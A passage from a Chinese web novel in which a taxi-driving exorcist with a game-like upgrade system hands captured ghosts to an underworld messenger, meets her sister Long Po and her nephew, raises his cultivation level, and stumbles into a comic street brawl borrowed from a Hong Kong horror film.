她脸上露出一丝满意的神色:“嗯,香火不错,挺纯的,老婆子我喜欢。说吧,把我叫出来,有什么事?难道是你之前说过你捉到的鬼物?”
她的目光落在了古德脚边那个盖着布的箱子上,眼神里带着一丝好奇和期待。
第64章 夜访龙婆?莫作栋?
“后生仔,这么大晚上把我叫出来,还烧了这么‘靓’的香火纸钱,看来是抓到不少鬼物了?说说看,这次是什么来路?”
古德拍了拍那个看起来平平无奇、实则内藏乾坤的箱子,挑了挑眉,有些得意的道:“岚婆,这次收获还行。箱子里一共装了……嗯,七只。”
他掰着手指数道:“四只是今天刚在便利店抓的硬茬子,三只是七年前械斗死的怨灵,浑浑噩噩的,被主犯当枪使;还有一只比较凶,是八年前在店里仓库上吊**的戏煞,怨气很深,不过现在也被打服帖了。”
他顿了顿,指了指旁边的谢潮:“另外三只,是我这位朋友谢潮带来的。是他师父纸扎陈老爷子店里常年‘寄宿’的一些老主顾。
都是些没什么害处、但也找不到路下去的可怜游魂,平时也就蹭点香火,挺老实的。阿潮心善,一直想给它们找个好归宿。”
古德顺势正式介绍了一下:“岚婆,这位是谢潮,我好朋友,也是警务处特别事务科的,自己人。他师父就是纸扎陈,您可能也认识。”
谢潮闻言,上前一步,难得地收起了那副酷拽的表情,对着岚婆郑重地拱了拱手,语气恭敬:
“岚婆,您好。这次麻烦您了,那几位老朋友……还请多关照。”
他这话说得真心实意,显然对那些老主顾颇有感情。
岚婆摆摆手,脸上露出和蔼的笑容,眼角的皱纹都舒展开来:
“放心啦,后生仔。老婆子我办事,有分寸的。该超度的超度,该受罚的受罚,该安排投胎的也会尽力安排,不会让它们受苦的。都是可怜‘人’,能帮就帮一把。”
她忽然像是想起了什么,脸上的笑意更深了一些,补充道:“哦,对了,正好。今天我和我妹妹在一起。刚才你们喊我的时候,我顺便跟她提了一下你们的事。
她听了还挺感兴趣的。怎么样,要不要现在跟我过去认个门,认识一下?我妹妹在香江这片地界,人面广,路子也多,认识不少奇人异士。
以后万一你们有事急着找我帮忙,又一时联系不上我,可以直接去找她。”
古德一听,心里顿时好奇起来。
久闻龙婆大名,他也早就有想去拜访的心思。
不过他看了看手表,已经快凌晨一点了,有些犹豫地问道:“岚婆,现在这个点过去……会不会太打扰了?您妹妹应该已经休息了吧?”
岚婆笑了笑,语气轻松:“平时这个点,她肯定早就睡啦,雷打不动的。不过今晚巧了,她正好有点事,还没睡呢。跟我来吧,不碍事的,她也好久没见到这么有本事的年轻后生了。”
听岚婆这么说,古德便点头答应了:“那就麻烦岚婆引荐了。”
多认识一位高人,多条路总是好的。
谢潮也点了点头,表示同意。
他对这位岚婆口中的妹妹同样充满了好奇。
于是,岚婆慢悠悠地转过身,朝着阴阳路更深处走去。
她的步伐看似不快,但古德和谢潮需要稍微加快脚步才能跟上。
夜晚的阴阳路格外寂静,只有路灯在地上拉出两条长长的影子。
谢潮凑近古德,压低声音好奇地问:“德仔,岚婆的妹妹……又是什么来头?也是……鬼差?”
他感觉这个世界的水越来越深了。
古德同样低声回答:“不是鬼差。类似你师父那样的有一些手段的人,等会儿见了你就知道了。”
谢潮若有所思地点点头,心里暗想:看来香江隐藏在水面下的能人异士远比警局档案里记录的要多得多,他们特别事务科了解的恐怕只是冰山一角。
走了大概七八分钟,岚婆领着他们拐进了一个看起来有些年头的住宅小区。
小区名字叫“英健小区”,听起来就挺有阴阳路特色的。
楼宇不高,只有六七层,外墙有些斑驳,但整体还算干净整洁。
夜深人静,只有零星几户还亮着灯。
岚婆熟门熟路地领着他们走进其中一栋楼的单元门,上了楼梯,来到三楼,停在438号的门口。
为什么三楼的门牌号会是438,这个古德不知道,可能要问开发商了。
笃笃笃。
岚婆抬手敲了敲门。
没过多久,里面传来脚步声,门“咔哒”一声从里面被打开。
一个穿着居家T恤、头发有些微卷、戴着黑框眼镜的年轻男子探出头来。
他看到门外的岚婆,先是愣了一下,脱口而出:“姨妈?你怎么又回来了?落下东西了?”
随即,他的目光越过岚婆,看到了跟在后面的古德和谢潮,脸上顿时露出惊讶无比的表情,声音都不自觉地抬高了一个八度:
“古大师?!谢Sir?!你们……你们怎么来了?还跟我姨妈一起?这是……什么情况?”
开门的不是别人,正是几个小时前才在便利店分别的CID探员莫作栋!
古德和谢潮也愣住了,面面相觑。
古德脸上闪过一丝意外,随即笑了起来:“莫sir?这么巧?原来你是岚婆的外甥啊?”
这世界真是小得可以!
谢潮也感到有些惊奇,但他只是酷酷地对着莫作栋点了点头,算是打招呼。
岚婆也显得有些意外,看看莫作栋,又看看古德和谢潮:“哦?阿栋,你和德仔、小谢他们认识?”
莫作栋连忙点头:“认识认识!我今天不是跟你说了一个便利店的事情吗,就是他们解决的!简直太厉害了!”
他语气里带着钦佩,然后猛地反应过来,赶紧侧身让开通道,“哎呀,你看我,光顾着惊讶了!快请进快请进!古大师,谢Sir,请进!妈!姨妈回来了!还带了客人!”
岚婆笑着摇摇头,一边往里走一边对古德说:“没想到你们早就认识了,挺好,挺好,省得我介绍了。”
古德和谢潮跟着岚婆走进屋内。
屋子里的装修是那种老式港风,家具略显陈旧但收拾得十分干净整洁,空气中弥漫着一股淡淡的檀香味和草药味,让人心神宁静。
听到动静,从客厅里走出来两个人。
一位是看起来比岚婆年纪稍轻一些、但眉眼十分相似的老婆婆,她穿着一身深色的棉布衫,头发梳理得一丝不苟,眼神温和中带着一丝锐利,气质沉静,给人一种深藏不露的感觉。
这应该就是岚婆的妹妹,莫作栋的母亲龙婆。
另一位则是一位非常年轻的女孩,看起来大概二十出头,穿着简单的牛仔裤和白色衬衫,素面朝天,却依然美得让人眼前一亮!
她五官精致,皮肤白皙,眼神清澈中带着一丝忧郁,气质清纯又带着点学生气,像个还没出校园的大学生。
古德的目光在看到这个女孩的瞬间
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,都不由自主地亮了一下!
倒不是有什么非分之想,纯粹是出于对美好事物的欣赏。
而且……这女孩长得非常面熟!
很像他前世非常喜欢的一位女明星朱英!
特别是那双眼睛,灵动又仿佛会说话。
那女孩看到这么晚家里突然来了两位陌生的年轻男性,似乎有些意外和局促。
她以为龙婆有正事要谈,便主动站起身,对着莫作栋的母亲礼貌地说道:
“司徒姑,既然您有客人来了,那我就不多打扰了。您刚才说的事情……我……我确实需要点时间好好考虑一下,一下子有点难以接受……我过两天再来看您吧。”
被称为“司徒姑”的龙婆和蔼地点了点头,语气温和:
“好的,阿茵。这件事不急,你慢慢想,想清楚了再说。我和你确实有缘份,我相信你会做出最适合自己的选择的。”
她顿了顿,看了看窗外浓重的夜色,又道:“不过这么晚了,你一个女孩子家自己回去不**全。让作栋送送你吧。”
正好莫作栋端着几杯刚泡好的热茶走过来,听到母亲的话,立刻把茶杯放在茶几上,挺直腰板,一脸正气凛然地说道:
“没问题!妈,姨妈,你们放心!保证把阿茵安全送到家!”
但他那微微上扬的嘴角和眼中掩饰不住的喜色,还是暴露了他内心的雀跃。
古德在一旁看得分明,心里吐槽:“这小子,装的挺像,就是这春心荡漾的样子藏不住啊。”
名叫阿茵的女孩也没有过多推辞,对着司徒姑微微躬身:“谢谢司徒姑。”
然后又转向古德和谢潮,礼貌性地点头示意了一下,轻声说了句“不好意思,打扰了”,便拿起自己的小包,跟着努力保持严肃但脚步轻快的莫作栋走出了家门。
临走前,莫作栋还没忘回头对古德和谢潮客气了一句:“古大师,谢Sir,你们坐啊,我先送送朋友。”
送走两人,屋内暂时安静下来。
古德的脑海里却如同闪电般划过一系列画面!
司徒姑?长得像朱英的阿茵?
《生人勿近之问米》!
对啊!
是这部经典的港产恐怖片!
剧情他大概还记得,主要是女主太亮眼了,他当年多看了好几遍。
没想到,这个世界里,司徒姑竟然是岚婆的妹妹,还有龙婆这个称呼?
竟然有这么巧?
就在这时,岚婆的声音打破了短暂的沉默,她笑着对妹妹龙婆介绍道:
“二妹,来来来,给你介绍一下。这位就是我之前跟你提过的,那个很有本事的年轻后生,古德,别看他年纪轻,捉鬼驱邪很有一手的!
旁边这位是他的朋友,谢潮,他师父是纸扎陈。”
龙婆闻言,将温和的目光投向古德和谢潮,仔细打量了他们一番,笑着点了点头:
“你好,我是司徒姑,你们也可以叫我龙婆。”
她的目光尤其在古德身上多停留了片刻,似乎看出了点什么。
接着,她看向谢潮,笑容更和蔼了些:“是小谢啊,我认识你师父很多年了,话说文西这个人....嗯....”
“咳....你师父最近怎么样,我们也好久没聚了。”
突然龙婆发现自己好像说漏嘴一样,干咳了一声后。
连忙生硬的换了一个话题。
第65章 纸扎陈竟然是.....
谢潮听到龙婆的话,并没有多想“文西”这个略显古怪的称呼有什么特殊含义,只当是长辈对老友的昵称。
他收敛心神,恭敬地回答:“多谢龙婆关心,师父他老人家最近身体挺好的,吃得好睡得香,精神头也很足,每天在铺子里忙活,闲下来就喝茶听收音机,没什么烦心事。”
然而,站在一旁的古德,心中却掀起了惊涛骇浪!
文西?!达文西?!
这个名字像一道闪电劈进了他的脑海!
他猛地想起前世看过的某部经典无厘头电影里,那个发明各种不靠谱道具的秃子!
那个能找到如萤火虫一样拉风男人,并给他神奇道具的秃子。
再结合纸扎陈那总能掏出些奇奇怪怪、却又意外实用的黑科技道具的本事……
“**!纸扎陈……陈老板……他该不会真是那个‘达文西’吧?!从内地来的超级科学家?被安排到香江,加入了特别部门?用科学解释玄学?处理特殊事件?”
古德感觉自己的世界观又被强行拓宽了一点,“怪不得他的东西都那么……别具一格!原来根子在这儿!”
他瞬间又联想到,这背后可能牵扯到更深层次的布局。
内地方面或许很早就注意到了香江这片地方的特殊性,并暗中派遣了特殊人才过来协助管理和应对?
毕竟九七临近,各种牛鬼蛇神都开始活跃了……
不过,这些念头也只是在他脑海里飞速转了一圈,就被他强行压了下去。
他甩甩头,心里暗道:“想那么多干嘛?天塌下来有高个子顶着。我现在就是个开出租、顺便抓鬼赚点外快和公里数的小虾米,操心不了那么多国家大事。守住自己的一亩三分地,努力赚钱赚公里数买房修炼才是正经!”
这时,岚婆从她那深色衣服的口袋里,摸索着掏出了一个看起来平平无奇、甚至有些陈旧的黑色布袋。
袋子不大,像是用某种粗糙的布料缝制而成,表面没有任何花纹或标识,却隐隐散发出一股难以形容的、仿佛能吸纳光线的沉静气息。
“好了,时间不早了,我也该下去交差了。”岚婆对古德说道,“把你们今天收的那些‘客人’都请出来吧,让我一并带下去。”
古德点点头,对谢潮示意了一下。
谢潮会意,将那个一直提着的箱子放到茶几上打开,里面整齐地放着几个贴着黄符的瓷瓶。
古德和谢潮两人配合,小心翼翼地依次撕开瓷瓶口的“镇鬼符”。
每撕开一张,就有一股或浓或淡的阴寒之气逸散出来,让客厅的温度似乎都下降了几分。
当最后一个瓷瓶的符箓被撕开时,整个客厅仿佛突然开了十几度的冷气!
嗡……
空气中传来细微的、仿佛无数低语重叠的嗡鸣声。
紧接着,在岚婆和龙婆平静的注视下,以及古德和谢潮观望中,七道模糊不清、形态各异、散发着淡淡黑气的虚影,晃晃悠悠地从瓶口飘了出来,悬浮在客厅的半空中!
正是那三只械斗而死的怨灵、一只狰狞的戏煞恶鬼以及谢潮带来的三只老主顾游魂。
它们出现后,似乎还有些迷茫,本能地想要四散飘荡,尤其是那戏煞恶鬼,残留的凶性让它发出低沉的嘶吼,试图挣扎。
然而,岚婆只是淡淡地瞥了它们一眼,手中的黑色布袋看似随意地向前一抖!
那布袋口仿佛产生了一股无形却无法抗拒的巨大吸力!
“呜呜呜——!!!”
七只鬼魂连像样的反抗都没能做出,只发出一阵短促而惊恐的呜咽声,便如同被狂风卷起的落叶般,身不由己地、扭曲着被一股脑儿吸入了那个看似不起眼的黑色布袋之中!
整个过程干净利落,悄无声息,仿佛只是装了几团空气。
岚婆熟练地一收袋口,用手上的红绳扎紧,那布袋立刻恢复了原状,轻飘飘的,仿佛里面什么都没有装。
古德看得眼睛都直了,心里疯狂呐喊:
“宝贝!这绝对是地府出品的高级宝贝!这效果比我那还在温养的几个法器强了不止一个档次!这要是给我用,得省多少事?”
他盯着那黑袋,眼神火热,差点没流口水。
岚婆似乎感受到了他那“灼热”的目光,下意识地把黑袋紧紧攥在手里,迅速塞回了自己衣服内侧的口袋里,还警惕地看了古德一眼,那眼神仿佛在说:“小子,别打我这吃饭家伙的主意啊!”
古德:“……”
他撇了撇嘴,他又不是强盗,只是羡慕一下而已嘛,至于这么防贼似的嘛……
岚婆收好袋子,拍了拍衣服,对众人道:“行了,差事办完,老婆子我先走一步了。下次有事,老方法叫我。”
说完,她竟转身朝着客厅旁边的一个房间走去。
古德和谢潮都愣了一下,以为她是去拿什么东西。
然而,岚婆走进那个房间后,随手关上了门。
紧接着,房间里传来一阵清晰的、“哗啦啦”的抽水马桶冲水声!
古德:“???”
谢潮:“???”
两人面面相觑,一脸懵逼。
鬼差……也需要上厕所?
龙婆看到他们俩疑惑的表情,忍不住笑了起来,解释道:
“别瞎猜了。那间是洗手间。洗手间本就通阴,秽气重,阴气汇聚,算是阳间与下面连接比较薄弱的一个‘节点’之一。我姐从那边‘下去’,比走别的路要方便快捷得多,省时省力。”
古德顿时恍然大悟,但脸上的表情却更加精彩了:
“所以……岚婆她老人家……是直接通过抽水马桶……回地府了?!这……这方式也太……太接地气了吧?!有点无厘头啊!”
他想象了一下那个画面,感觉既诡异又有点莫名的搞笑,这操作很符合他对这个综漫世界的认知。
虽然感觉有点毁三观,但事实摆在眼前,古德也只能接受这个设定。
他甩甩头,把那些奇怪的画面赶出脑海。
事情办完,鬼也交了,时间也确实很晚了。
古德打了个哈欠,对龙婆拱手道:“龙婆,时间不早了,我们就不
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多打扰您休息了。今天多谢您和岚婆帮忙,下次有机会我们再正式登门拜访。”
龙婆和蔼地笑了笑,点头道:“好,路上小心。以后在香江这片地界,遇到什么棘手的事情,或者需要打听些什么消息,也可以来找老婆子我。
我虽然不像我姐那样能直通下面,但在这阴阳路上住了几十年,三教九流、奇人异事也认识一些,多少还有点薄面。”
“一定一定!多谢龙婆!”古德连忙应承下来。
多一位高人照应,总是好事。
谢潮也对着龙婆恭敬地点了点头,算是告别。
古德两人离开之际,龙婆又想到什么,对着古德道:
“对了,别跟我儿子说他姨妈已经**,他一直以为他姨妈还活着。”
古德笑着点了点头,他可不会那么多嘴。
两人告辞离开,走出了英健小区小区。
深夜的阴阳路格外寂静,只有路灯将两人的影子拉得很长。
古德开出自己的出租车,按照计价器,先把谢潮送回了家,又赚了一笔不算多的公里数。
到了谢潮家楼下,谢潮下车前,古德像是突然想起了什么,摇下车窗,对着他语重心长地说道:
“阿潮啊,最近要是没啥特别紧急的事,就别老Call我出车了。”
谢潮一愣,没明白什么意思:“怎么了?你要闭关?”
古德摇摇头,神秘兮兮地压低声音道:
“不是闭关。我是建议你……嗯,强烈建议你,最近多去坐坐公交车,体验一下民间疾苦嘛……呃,不是,是多观察一下市井生活,说不定……会有意想不到的收获呢?”
说完,他也不等谢潮反应,一脚油门,出租车“嗖”地一下开走了,留下尾气和一头雾水的谢潮站在原地。
谢潮茫然地挠了挠头,看着远去的出租车尾灯,完全没搞懂古德最后那几句话是什么意思。
“坐公交车?能有啥收获德仔这家伙……说话越来越神神叨叨了……”他嘀咕着,带着满脑子的问号转身上了楼。
而开远的古德,则看着系统面板上剩余的公里数,心里盘算着:
“嗯……今天下午到晚上,算上谢潮的,也才赚了216点,加上之前的,也就796.6。
也就只够点一次法力的,不然我再存一存,把呼吸法点到LV3。
或者先把那些符箓都点出来,编辑成一个符箓大全,到时候给文西...哦....不对....是纸扎陈。
把系统给的符箓大全编辑出来,再把呼吸法教给他。
条件就是他来提供符箓给我,就像某部电视剧里,卖符的求叔一样。
这样可以解放我不少时间,还可以把书房里那块雷击枣木,做成法印,再卖给纸扎陈,他再用法印增加符箓的威力,然后提供符箓给我,就等于我白嫖了一个工具人。
感觉可以操作一下,相信他还是有不少养老金在的....这样距离我买别墅就又近了一步.....”
古德的思维又开始朝着奇怪的方向发散开去。
第66章 阴德的作用
清晨的阳光透过窗帘的缝隙,在房间地板上投下几道明亮的光斑。
古德还沉浸在睡梦中,呼吸均匀。
突然——
“叮!”
一声清脆、仿佛来自脑海深处的电子提示音,毫无征兆地响起!
古德猛地睁开双眼,身体如同触电般从床上一跃而起,瞬间进入警戒状态!
他锐利的目光迅速扫过房间每一个角落,嗯.....一切如常,没有任何异样。
“那是什么声音?”他皱起眉头。
下一刻,一个久违的、冰冷而毫无感情的机械合成音,直接在他意识中响起:
【叮。接收到阴德能量。系统升级渠道开启。】
声音到此戛然而止,再无下文。
古德:“???”
他保持着认真的表情,等了足足十几秒,房间里依旧一片寂静,只有窗外偶尔传来的早起鸟鸣和远处车辆的模糊噪音。
“这就……没了?”古德一脸懵逼,忍不住低声吐槽,“喂!大佬!给点提示行不行?你要不是突然冒出来,我都以为你**。
还有升级渠道是啥?怎么就开启了?你倒是说清楚啊!每次都是这样,挤牙膏一样,多说几个字会死机啊?你这人机交互做得也太差了吧!差评!”
无奈之下,他只好集中精神,再次唤出了那个熟悉又简陋的系统面板。
半透明的光幕在意识中展开:
【姓名:古德】
【体质:7/10】(+)
【魅力:8/10】(+)
【精神:7/10】(+)
【法力:3/∞】(+)
【公里点数:1006.8】
【阴德:170/3000】
【掌握技能:…(略)…】
前面的数据基本没变,公里数因为昨天下午和晚上的努力以及接送谢潮周星星两个工具人,终于突破了一千大关,达到了1006.8点。
在公里点数下方,赫然多出了一行全新的数据【阴德:170/3000】!
“阴德?170?3000?这什么意思?”
古德盯着面板上那行新冒出来的数据,眉头紧紧皱起。
他心里疑惑,干脆试了试,意念集中在那行字上,心里默念:
“解释一下?”
嗡~
仿佛响应了他的呼唤,一股简短的信息流瞬间涌入他的脑海:
【超度一恶鬼:阴德+50】
【超度三只怨灵:阴德+60】
【超度/引导三只游魂野鬼:阴德+30】
【积累阴德达到3000点,可开启系统升级程序。】
信息简单粗暴,但意思明确。
古德消化着这段信息,脸上露出惊讶和了然的神色:
“原来如此!这么说昨晚交给岚婆的那七只鬼……戏煞算恶鬼+50,三只械斗死的怨灵,3×30=90点,再加上阿潮那三个老主顾,游魂3×10=30点………啧啧,好家伙,加起来正好170点!这账算得真清楚!”
想到这儿,他摸了摸下巴。
“虽然不知道岚婆吃了多少回扣,但好歹也没黑我太多功劳。就是谢潮给的那三只游魂野鬼,也算在我头上了?那就得找个合适适合他的技能,等我有富余的时候给点上教他,就当偿还一份人情。下次再和岚婆说清楚,免
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得账面算得乱七八糟。”
心里盘算着,古德的眉宇间渐渐舒展开来。
系统能升级,这无疑是个天大的好事!
虽然还不知道系统升级后会变成什么样,总不能从出租车系统升级成滴滴专车系统吧?那也太搞笑了……
就是这样一来,他不仅要赚公里数,还得去捉鬼积阴德。
倒也算不上不务正业了,反而是一条正途。
不过一想到之前亲手打死的那几只恶鬼,他仍旧心有不甘。
“唉,要是当时没一棍子打死,把那八只恶鬼全收拾下来,现在距离升级肯定近得多。亏了啊……”
古德摇了摇头,忍不住贪心的想着。
“蒜鸟蒜鸟!都过去了。好在纸扎陈那边超度的那只红衣恶鬼,算是弥补了一些损失。再说了,和岚婆建立长期合作,以后有的是赚功德的机会!”
念头一定,古德的心情豁然开朗,整个人轻松了不少。
他伸了个懒腰,肩关节发出一阵“咔咔”的脆响,顺势活动了一下筋骨。
转身走到窗边,推开窗户,清晨的空气顿时涌**内。
古德深吸一口气,只觉浑身通透,精神为之一振。
他的视线落回面板,看着面板上那终于突破四位数的公里点数,古德也决定不再攒着了。
他早就想看看,LV3的“基础呼吸法”会带来怎样的变化。
“我有今天的这个成绩,都是通过我自己的努力而来!系统,给我加点!基础呼吸法,LV2→LV3!”
古德集中意念,下达指令。
【消耗1000点公里数,基础呼吸法提升至LV3(精通)。】
第67章 未来的规划
下一秒!
庞大的、关于呼吸吐纳、气机运转、能量汲取与炼化的更深层次的知识与经验,如同潮水般涌入古德的脑海!
远比之前两次升级更加复杂和精妙!
与此同时,他感觉自己的意识仿佛被拉入了一个奇特的冥想空间!
在这个空间里,他不知疲倦地、一遍又一遍地演练着呼吸法,每一个细节、每一次气息的流转、每一丝能量的捕捉与融合,都变得无比清晰和自然!
仿佛他已经在这呼吸法上浸淫了十年、二十年!
那种深刻的理解和掌控感,几乎化为了本能!
外界的现实中,古德的身体也不由自主地盘膝坐下,摆出了五心朝天的标准修炼姿势。
他呼吸的节奏瞬间改变,变得悠长、深远、充满了一种独特的韵律!
嗡……
周围的空气似乎微微波动起来,一丝丝极其微弱、但远比之前更加精纯的宇宙能量,受到LV3呼吸法的强大牵引,开始从虚空中汇聚而来,透过他的皮肤、口鼻,缓缓渗入体内!
这些能量进入体内后,沿着已经无比熟悉的经脉路线飞速运转、提纯、炼化,最终汇入丹田气海!
古德内视之下,可以“看”到丹田中那原本如同雾气般盘旋的35丝法力,开始剧烈地翻腾、压缩、凝聚!
数量在稳步提升……36丝…37丝…38丝……
当法力总量突破50丝大关的瞬间!
异变陡生!
所有的法力雾气仿佛受到了某种强大的吸引力,猛地向中心一点疯狂塌缩、凝聚!
嗡!!!
一声只有古德自己能听到的、来自丹田深处的震鸣!
下一刻,一滴圆润、晶莹、散发着淡淡白芒、蕴含着远比之前精纯和强大能量的液态法力珠,静静地悬浮在了他的丹田中央!
法力液化!质变!
而这还没结束!
外界能量依旧在源源不断地涌入,被炼化后,继续注入这滴液态法力珠之中,使其体积微微壮大,光芒也更加凝实。
直到总量达到了60丝的容量,增长才缓缓停止下来。
呼——
古德长长地吐出一口浊气,这口气息竟然带着一股淡淡的、如同晨露般的清香。
他缓缓睁开了眼睛,双眸之中精光一闪而逝,整个人显得神采奕奕,皮肤都仿佛莹润了几分!
他仔细感受着体内那滴缓缓旋转的液态法力珠,脸上忍不住露出了狂喜之色!
“成功了!法力液化!这是质的飞跃啊!”
他能清晰地感觉到,这一滴液态法力珠所蕴含的能量总量和精纯度,远超之前丝气态法力的精纯度!
如果非要量化,他感觉现在施展同样的法术,消耗可能只有之前的十分之一甚至更少!而且威力绝对更大!
“太好了!以后再用金光咒,就不用那么心疼法力了!续航能力大大增强!”古德兴奋地挥了挥拳头。
更重要的是,LV3的呼吸法似乎已经形成了某种被动技能!
他即使不刻意去运转,也能感觉到呼吸法在自行缓慢地、持续地运转,虽然效率远不如主动修炼,但胜在无时无刻不在积累!
而LV3的呼吸法也为他打下了无比雄厚扎实的根基!
“呼吸法点到LV3,暂时够用了。接下来,该考虑其他方向了。”古德冷静下来,开始规划。
“首先,必须把《炁体源流》点出来!至少点到LV2!这东西是理论根基,能帮我系统性地理解修行本质、优化**、避免走火入魔。
以后要是想培养‘工具人’……呃,是合作伙伴,比如谢潮、周星星甚至纸扎陈,也能有套成熟的理论体系传授。免得他们练岔了,出事了还得我来收拾烂摊子。”
想到这里,他的嘴角勾起一丝微妙的笑意,像是提前预见了未来工具人成堆...啊呸,是开宗立派的画面。
“然后,得尽快把‘符印炼制’相关的技能点出来!”
“我那块雷击枣木可是好东西,不能浪费了。得好好规划一下,争取雕琢出一方能长期使用的法印,到时候盖印后的符箓威力至少能提升一筹。”
古德把放在卧室书桌上的雷击木拿了起来,晨光透过窗帘缝隙打在木料上,木纹清晰,仿佛其中还残留着雷霆的气息。
“边角料也不能
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浪费,可以做几个小挂件、护身符。”
想到这里,古德嘴角忍不住勾起一抹资本家的微笑:
等我把炼器搞定,再整理出一套标准符箓大全……嘿嘿,到时候看看能不能忽悠——啊不是,请纸扎陈成为我的长期供货商!”
“就像某个电视剧里的求叔,稳定供货,批发走量,这样我就能省下很多事!”
“到时候我再把法印卖给他。”古德忍不住笑出声,眼神里透出几分坏坏的精明。
“纸扎陈来香江卧底了那么久,估计积攒了不少养老金。等他买了我的法印,又能提升符箓的威力,我再从他手里进货,这生意简直完美!”
“纸扎陈这个年纪,正是奋斗的年纪,哪能窝在纸扎铺里退休享福。”
想到这里,古德心情大好。
他抬眼再看系统面板,剩余的公里数只有6.8点,法力值却稳稳涨到4点。
“虽然公里数看起来不多了,但法力涨了,这可是直接帮我省了五百点公里数啊!这么一算,我不但没亏,反而大赚一笔!”
古德抬起双手,对着空气竖了个大拇指,仿佛在给自己点赞。
“今天真是个好日子!”
他哼着不成调的小曲,走进卫生间,用冷水痛快地洗了把脸,看着镜子里精神焕发的自己,感觉前途一片光明。
“嗯,不错,气色好,又帅了,果然是人逢喜事精神爽!”
梳洗完毕,他走进厨房。熟练地点燃煤气灶,铁锅“咔哒”一声响起。
随着水逐渐滚沸,他下了一把细长的挂面,顺手磕了个鸡蛋,蛋黄在沸水中舒展开来,又捞了几根新鲜的青菜进去。
热气氤氲,很快,空气里飘出一股清淡却勾人食欲的香气。
古德三两口吃完,连汤都没剩,打了个饱嗝,心满意足地刷碗。
厨房窗外,街道上已经有了早起的行人,卖早点的小贩吆喝声、远处叮叮作响的电车声、夹杂着邻居推开铁门的吱呀声,一切都热闹而充满烟火气。
“开工!赚公里数去!”
古德发动汽车,红色的出租车汇入晨光中的车流,开始了新一天的忙碌。
第68章 关于出租车的故事
接下来的几天,风平浪静。
谢潮那边没再联系古德,据说还真听话地去挤了几次公交车体验生活,也不知道有没有什么意外收获。
古德也乐得清闲,专心苟在自己的出租车里,兢兢业业地跑车赚公里数,每天早出晚归,在城市的大街小巷穿梭。
这几天里,他算是见识到了香江乘客的多样性,充分体验了出租车司机这份职业的“乐趣”。
比如第二天下午,在途经红磡隧道附近时,遭遇了严重的堵车,长长的车龙一动不动,喇叭声此起彼伏,空气中弥漫着焦躁的气息。
他车上的一位中年男乘客,从堵车开始就坐立不安,不停地看表,额头冒汗,嘴里反复念叨:“******……这次肯定迟到了……老板会杀了我的……”
过了大概十分钟,他脸色开始发白,捂着肚子,声音带着哭腔问古德:“师傅……大佬……还要堵多久啊?我……我好像有点急啊……”
古德透过后视镜看了他一眼,无奈道:“先生,堵车这种事,我控制不了的啊。看这情况,没半小时动不了。你忍一忍?”
那男乘客五官扭曲,声音都变调了:“忍……忍不了了啊大佬!感觉……感觉快要……快要出来了!
能不能……能不能通融一下,我在车里……解决一下?我……我出双倍洗车费!不!三倍!”
古德心里咯噔一下,这个扑街仔怎么敢想的!
他眼疾手快,立刻从副驾驶的储物格里掏出几个备用的黑色加厚塑料袋,一股脑塞到后座,语气急促但尽量保持冷静:
“大佬!冷静!hold住!用这个!套头上……啊不是!套……总之你悠着点!尽量别弄到座位上!求你了!”
最后,尽管男乘客努力控制,车内还是不可避免地弥漫开一股不可描述的气味……
古德强忍着胃里的翻腾,把车窗全部摇下,顶着其他司机异样的目光,在堵车结束后第一时间冲到了最近的洗车场,里里外外彻底清洗了三遍,通风散味足足一个小时,才勉强敢继续接客。
好在那个乘客确实羞愧地留下了足够的清洁补偿,让古德受伤的心灵得到了一丝慰藉。
就这样,在种种或奇葩或普通的日常中,时间来到了第五天晚上。
古德看了看计价器上显示的公里数,满意地点点头。
这五天他起早贪黑,甚至偶尔“合理”地绕点远路,总算攒下了1500多点公里数。
足够他下一步的计划了。
那就是点亮《炁体源流》和“符印炼制”技能!
“收工!接完这最后一单就回家!”古德心情愉悦,准备拉完最后一个客人就回去好好规划一下技能加点。
这时,路边一个面露凶相的年轻女人招了招手。
古德减速靠边停下。
女人拉开车门,一股浓烈的酒气混合着香水味扑面而来。
她踉跄着坐进后排,“砰”地一声关上门。
古德习惯性地回头,露出职业微笑:“小姐,去边度啊?”(小姐,去哪里啊?)
谁知那女人抬起头看了古德一眼,不知哪根筋搭错了,毫无征兆地抬手就朝古德的脸扇了过来!
嘴里不爽地骂着:“看什么看,还不赶紧开车!”
古德如今反应何等迅速!
眉头一皱,右手闪电般抬起,精准地格挡住了这突如其来的一巴掌!
手腕微微一震,那女人就被反震得哎哟一声缩回了手。
古德心里一阵火起,下意识地反手就轻轻回抽了一下,都没用上一成力。
啪!
一声清脆的响声。
那女人捂着脸,愣住了,酒似乎都醒了一半!
她瞪大眼睛,难以置信地看着古德,尖声叫道:“你……你敢打我?!你知不知道我是谁?!你死定了!我叫我男人**你啊!的士佬!”
骂完,她竟然自己推开车门,踉踉跄跄地跑了下去,站在车外指着古德继续骂。
古德一脸莫名其妙,心里吐槽:“神经病啊!喝多了耍酒疯是吧?算我倒霉!”
他摇摇头,懒得跟醉鬼计较,准备发动车子离开。
可那女人见他要走,竟然又猛地冲回来,张开双臂直接拦在了车头前!大叫道:“不准走!打了我就想跑?!没门!等我男人来了要你好看!”
就在这时,街道另一头传来一阵慌乱的脚步声和一个男人痛苦的呻吟声。
古德抬眼望去,只见一个穿着花衬衫、浑身是血、脸色惨白的男人正跌跌撞撞地跑过来!
最骇人的是,他的左臂齐肩而断,伤口还在汩汩冒血!
古德眼神一凝:“陈牙丫?不对……气质不对,看来是钱加乐演的另一个角色,难道是.....”
他立刻反应过来,这熟悉的断臂造型、这狗血的气氛……
还没等他想完,那个断臂男人已经跑到了车旁,看到拦车的女人和车里的古德,尤其是看到古德车里那张帅脸,顿时怒火中烧,不顾断臂剧痛,抬起剩下的右手,“啪”地就给了那女人一耳光!
“臭**!老子在外面被人砍!你就在这里勾搭小白脸?!还是个开的士的?!老子还没死呢!”
那女人被打得一个趔趄,也火了,反手也是一巴掌抽了回去,尖叫道:“你发什么神经!我是想拦车送你去医院啊!这个的士佬他刚才打我!你还不帮我报仇?!你还是不是男人啊!”
断臂男人捂着脸,愣了一下。
这时,又一个身影从后面追了上来。
这是个染着黄毛、同样浑身是血、鼻青脸肿的小弟,他手里还小心翼翼地捧着……一条断臂!
气喘吁吁地喊道:“大B…B哥!手…手捡回来了!快…快去医院还能接上!”
古德此时已经熄了火,干脆下车,靠在车门上,双臂环抱,饶有兴致地看着这出街头实景狗血剧。
听到“大B哥”这个称呼,他彻底想起来了。
这不是《阴阳路5之一见发财》里的经典桥段吗?
自己居然替代了原电影里那个倒霉的、被一直打巴掌的那个出租车司机?
